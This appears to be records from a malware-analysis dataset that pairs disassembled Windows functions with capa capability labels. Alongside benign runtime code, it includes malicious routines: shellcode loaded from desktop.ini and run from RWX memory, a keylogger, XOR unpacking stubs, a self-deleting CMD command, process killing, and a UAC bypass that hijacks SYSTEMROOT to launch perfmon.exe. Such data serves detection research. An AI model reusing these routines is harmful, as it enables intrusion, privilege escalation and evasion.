joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421470
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x427548
call fcn.00421cf8
xor ebx, ebx
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x42d0b0
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x4212a5
cmp eax, esi
jne 0x421298
xor esi, esi
inc esi
mov edi, esi
jmp 0x4212a8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x42127c
xor esi, esi
inc esi
cmp dword [0x42d0b4], esi
jne 0x4212ba
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x4212f4
cmp dword [0x42d0b4], ebx
jne 0x4212ee
mov dword [0x42d0b4], esi
push 0x401cc0
push 0x401cb4
call fcn.00421424
pop ecx
pop ecx
test eax, eax
je 0x4212f4
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x42141e
mov dword [0x42b3e8], esi
cmp dword [0x42d0b4], esi
jne 0x421317
push 0x401cb0
push 0x401b60
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x42d0b4], 2
test edi, edi
jne 0x421324
xor eax, eax
mov ecx, 0x42d0b0
xchg dword [ecx], eax
cmp dword [0x42d0c0], 0
je 0x421350
push 0x42d0c0
call fcn.00421b50
pop ecx
test eax, eax
je 0x421350
push ebx
push 2
push ebx
mov esi, dword [0x42d0c0]
mov ecx, esi
call dword [0x42e58c]
call esi
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
mov ecx, dword [eax]
test ecx, ecx
je 0x4212dd
mov dword [ebp - 0x24], ecx
push 0x20
pop esi
mov edx, dword [ebp - 0x20]
movzx eax, word [ecx]
cmp ax, si
ja 0x4213bb
test ax, ax
je 0x42138a
test edx, edx
jne 0x4213bb
test ax, ax
je 0x42138a
cmp ax, si
ja 0x42138a
add ecx, 2
mov dword [ebp - 0x24], ecx
movzx eax, word [ecx]
jmp 0x421375
test byte [ebp - 0x40], 1
je 0x421396
movzx eax, word [ebp - 0x3c]
jmp 0x421399
push 0xa
pop eax
push eax
push ecx
push ebx
push 0x400000
call main
mov dword [0x42b3e4], eax
cmp dword [0x42b3fc], 0
jne 0x421403
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp eax, 0x22
jne 0x4213cc
xor eax, eax
test edx, edx
sete al
mov edx, eax
mov dword [ebp - 0x20], edx
add ecx, 2
mov dword [ebp - 0x24], ecx
jmp 0x421364
cmp dword [0x42b3e8], 0
jne 0x421417
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x42b3e4]
mov dword [ebp - 4], 0xfffffffe
call fcn.00421d40
ret
call fcn.00421c43
jmp 0x421253

Function at 0x421a54
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4275e8
call fcn.00421d88
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x421ab4
cmp eax, 0xffffffff
je 0x421ab4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x421aad
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x421aad
cmp edx, 0x10000000
jae 0x421aad
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x421aaa
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.00421dcd
ret 4
Function at 0x421b00
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x421b3e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x421b36
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x421b40
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x421b26
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x421c10
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x421c26
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x421c41
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x41c031
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41c070
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41c070
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41c070
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41c070
cmp dword [ecx + 0x74], 0xe
jbe 0x41c070
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x43b647
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop esi
or eax, edi
push edi
pop edi
call fcn.0043b67f
and edi, eax
xor dword [edx], esi
sub edi, 0x68bd3cf0
mov edi, 0x8d3713b7
inc edx
sub edi, eax
cmp edx, ecx
jne fcn.0043b647
inc edi
sub edi, 0xc4f090d3
or edi, eax
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x401000
Capabilities:
Log keystrokes via polling

Disassembly:
mov ecx, 0x5bfe
mov eax, ecx
mov dword [0x4b4752], eax
mov dword [0x4b4739], 0
mov eax, dword [0x4b4739]
mov dword [0x4b48ef], eax
mov dword [0x4b49c1], 0
mov eax, dword [0x4b49c1]
mov eax, ebx
xor ebx, eax
test dword [0x4b428b], eax
jne 0x401045
mov ebx, 0x19c2
sub eax, ebx
dec eax
shl eax, 1
ror eax, 1
or eax, dword [0x4b43b9]
je 0x401077
sub eax, dword [0x4b47dd]
dec eax
mov ebx, 0x11e8
add eax, ebx
dec eax
or eax, ebx
mov ebx, 0x1dd0
sub eax, ebx
add eax, dword [0x4b4a1d]
xor ebx, eax
sub eax, dword [0x4b46db]
shr eax, 1
add dword [0x4b42db], eax
jmp fcn.00402754
Function at 0x406132
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x426d3c], 0
push esi
jne 0x406169
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406143
mov dword [ecx*4 + 0x426d38], eax
inc ecx
cmp ecx, 0x100
jl 0x40613e
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40619a
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x426d38]
xor eax, esi
inc ecx
dec edx
jne 0x40617c
pop edi
not eax
pop esi
ret 0xc
Function at 0x406ba0
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x406bad
xor eax, eax
pop esi
ret
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
jne 0x406bbf
pop esi
ret
cmp ecx, 1
jne 0x406bcd
cmp byte [esi], 0x5c
jne 0x406bcd
xor eax, eax
pop esi
ret
push esi
call fcn.00406950
add esp, 4
test eax, eax
je 0x406be1
push esi
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
pop esi
ret

Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x5a697124
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x7d27d2e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x99677c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x9967a3
call fcn.00938d18
mov dword [eax], esi
call fcn.00938d05
push 0x16
pop esi
mov dword [eax], esi
call fcn.0093995a
mov eax, esi
jmp 0x9967f8
test dword [ebp + 0xc], 0xfffffff9
jne 0x996789
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x9967d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00938d2b
pop ecx
call fcn.00938d05
mov eax, dword [eax]
jmp 0x9967f8
test al, 0x10
jne 0x9967f6
test al, 1
je 0x9967f6
test byte [ebp + 0xc], 2
je 0x9967f6
call fcn.00938d18
mov dword [eax], 5
call fcn.00938d05
mov dword [eax], 0xd
jmp 0x9967c7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x170732e3
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x7ab058e1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401037
Capabilities:
Delete registry value

Disassembly:
jmp 0x404410
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40444f
mov eax, dword [esp + 8]
test eax, eax
je 0x40444f
mov ecx, dword [esp + 0xc]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret

Function at 0x401055
Capabilities:
Create process on windows
Delete file
Get common file path
Get startup folder
Set file attributes

Disassembly:
jmp 0x402bb0
mov eax, 0x2ee0
call fcn.0040c810
push ebx
push esi
push edi
mov ecx, 0xb
mov esi, str.CMD__C_DEL__F__S__Q__
lea edi, [esp + 0xfac]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3dd
xor eax, eax
lea edi, [esp + 0xfd8]
xor ebx, ebx
rep stosd dword es:[edi], eax
mov ecx, 0x3e7
lea edi, [esp + 0x1f4e]
mov word [esp + 0x1f4c], bx
mov word [esp + 0xc], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3e7
xor eax, eax
lea edi, [esp + 0xe]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [esp + 0x1f50]
push 7
push eax
push ebx
call edi
mov esi, dword [sym.imp.MSVCRT.dll_wcscat]
lea ecx, [esp + 0x1f4c]
lea edx, [esp + 0xfac]
push ecx
push edx
call esi
lea eax, [esp + 0xfb4]
push str..__
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0xfac]
push ebx
push ebx
push ecx
push 0x4106ec
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push ebx
lea edx, [esp + 0x10]
push 0x1c
push edx
push ebx
call edi
lea eax, [esp + 0xc]
push 0x4106cc
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
add esp, 8
lea ecx, [esp + 0xc]
push 0x80
push ecx
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0xc]
push edx
call ebx
lea eax, [esp + 0xc]
push 0x4106c8
push eax
call esi
add esp, 8
lea ecx, [esp + 0xc]
push 0x80
push ecx
call edi
lea edx, [esp + 0xc]
push edx
call ebx
pop edi
pop esi
pop ebx
add esp, 0x2ee0
ret
Function at 0x40105f
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
jmp 0x403e70
mov eax, 0x1210
call fcn.0040c810
push ebp
push edi
xor ebp, ebp
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x21c]
mov dword [esp + 0x218], ebp
mov dword [esp + 0xc], ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x218]
push eax
push 0x1000
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x403f95
mov eax, dword [esp + 0xc]
shr eax, 2
je 0x403f95
push ebx
push esi
lea ebx, [esp + 0x220]
mov dword [esp + 0x10], eax
jmp 0x403ed6
xor ebp, ebp
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [ebx]
lea edx, [esp + 0x18]
push 0x104
push edx
push eax
call fcn.004010c3
add esp, 0xc
test eax, eax
je 0x403f81
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
cmp eax, 4
jb 0x403f81
cmp dword [0x432680], ebp
jle 0x403f81
mov edi, 0x411660
push edi
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
cmp eax, 4
jbe 0x403f71
lea edx, [esp + 0x18]
push edx
push edi
call dword [sym.imp.MSVCRT.dll_wcscmp]
add esp, 8
test eax, eax
jne 0x403f71
mov eax, dword [ebx]
push eax
push 0
push 0x11
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x403f71
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x432680]
inc ebp
add edi, 0x208
cmp ebp, eax
jl 0x403f23
mov eax, dword [esp + 0x10]
add ebx, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x403ed4
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x1210
ret

Function at 0x4010af
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x4042c0
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x4042e1
xor al, al
add esp, 0x1c
ret
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x404308
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x404355
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov al, 1
add esp, 0x1c
ret
Function at 0x4010b9
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x404230
mov eax, 0x1004
call fcn.0040c810
push edi
xor edx, edx
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0xc]
mov dword [esp + 8], edx
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push 0x1000
push ecx
mov dword [esp + 0x10], edx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x40428a
mov edi, dword [esp + 4]
shr edi, 2
je 0x40428a
push esi
lea esi, [esp + 0xc]
mov edx, dword [esi]
push edx
call fcn.0040116d
add esp, 4
add esi, 4
dec edi
jne 0x404278
pop esi
pop edi
add esp, 0x1004
ret
Function at 0x40111d
Capabilities:
Set registry value

Disassembly:
jmp 0x404390
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4043ed
mov eax, dword [esp + 8]
test eax, eax
je 0x4043ed
push esi
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.MSVCRT.dll_wcslen]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
add esp, 4
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
ret

Function at 0x401136
Capabilities:
Get token membership

Disassembly:
jmp 0x404460
sub esp, 0x10
push ebx
lea eax, [esp + 4]
xor ebx, ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea ecx, [esp + 0x30]
push 2
push ecx
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
cmp eax, ebx
mov dword [esp + 8], eax
je 0x4044c6
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 8]
xor edx, edx
cmp eax, 1
sete dl
mov al, dl
pop ebx
add esp, 0x10
ret
Function at 0x40116d
Capabilities:
Parse pe header
Terminate process

Disassembly:
jmp 0x402f30
sub esp, 0x54
mov eax, dword [str.Chrome_29.0.1547.7]
mov ecx, dword [0x410824]
mov edx, dword [0x410828]
push ebx
mov dword [esp + 8], eax
mov eax, dword [0x41082c]
mov dword [esp + 0xc], ecx
mov cx, word [0x410830]
push ebp
push esi
mov dword [esp + 0x18], edx
mov dl, byte [0x410832]
push edi
mov dword [esp + 0x20], eax
mov word [esp + 0x24], cx
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x27]
mov byte [esp + 0x26], dl
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.2_Safari_537.36
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x68]
mov ecx, ebx
and ecx, 3
push eax
push 0
push 0x11
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x4030c1
push 4
push 0x3000
push 0x300000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, eax
push 0
push 0x2800
push esi
push 0x400000
push ebx
call edi
test eax, eax
je 0x4030ac
mov eax, dword [esi + 0x3c]
add eax, esi
cmp word [esi], 0x5a4d
jne 0x4030c1
cmp dword [eax], 0x4550
jne 0x4030c1
mov ebp, dword [eax + 0x50]
cmp ebp, 0x300000
mov dword [esp + 0x68], ebp
jb 0x403033
mov dword [esp + 0x68], 0x2ffc00
mov ebp, dword [esp + 0x68]
push 0
push ebp
push esi
push 0x400000
push ebx
call edi
test eax, eax
je 0x4030ac
test ebp, ebp
mov dword [esp + 0x10], 0
jbe 0x4030ac
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40309f
mov ecx, dword [esp + 0x10]
lea ebp, [ecx + esi]
movsx ecx, byte [esp + edx + 0x14]
xor eax, eax
mov al, byte [edx + ebp]
cmp eax, ecx
jne 0x40309b
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffd
cmp edx, ecx
je 0x4030cb
lea edi, [esp + 0x14]
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x403068
mov ebp, dword [esp + 0x68]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, ebp
mov dword [esp + 0x10], eax
jb 0x40304f
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x54
ret
mov edi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push ebx
call edi
push 0
push ebx
call edi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
pop ebp
mov byte [0x411144], al
pop ebx
add esp, 0x54
ret
Function at 0x401181
Capabilities:
Copy file
Create directory
Create process on windows
Get common file path

Disassembly:
jmp 0x404500
sub esp, 0x618
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 6]
mov word [esp + 4], 0
mov word [esp + 0x20c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x20e]
mov word [esp + 0x414], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x416]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x418]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x414]
push str.mmc.exe
push ecx
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
jne 0x40466c
lea edx, [esp + 4]
push esi
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, dword [sym.imp.MSVCRT.dll_wcscat]
lea eax, [esp + 8]
push str.7zPerformance
push eax
call esi
lea ecx, [esp + 0x10]
lea edx, [esp + 0x218]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
lea eax, [esp + 0x220]
push str.System32
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
add esp, 0x18
lea ecx, [esp + 8]
push 0
push ecx
call edi
lea edx, [esp + 0x210]
push 0
push edx
call edi
lea eax, [esp + 0x210]
push str.mmc.exe
push eax
call esi
add esp, 8
lea ecx, [esp + 0x210]
lea edx, [esp + 0x418]
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 8]
push eax
push str.SYSTEMROOT
push str.Volatile_Environment
push 0x80000001
call fcn.0040111d
add esp, 0x10
push 6
push 0
push 0
push str.perfmon.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.SYSTEMROOT
push str.Volatile_Environment
push 0x80000001
call fcn.00401037
add esp, 0xc
pop esi
pop edi
add esp, 0x618
ret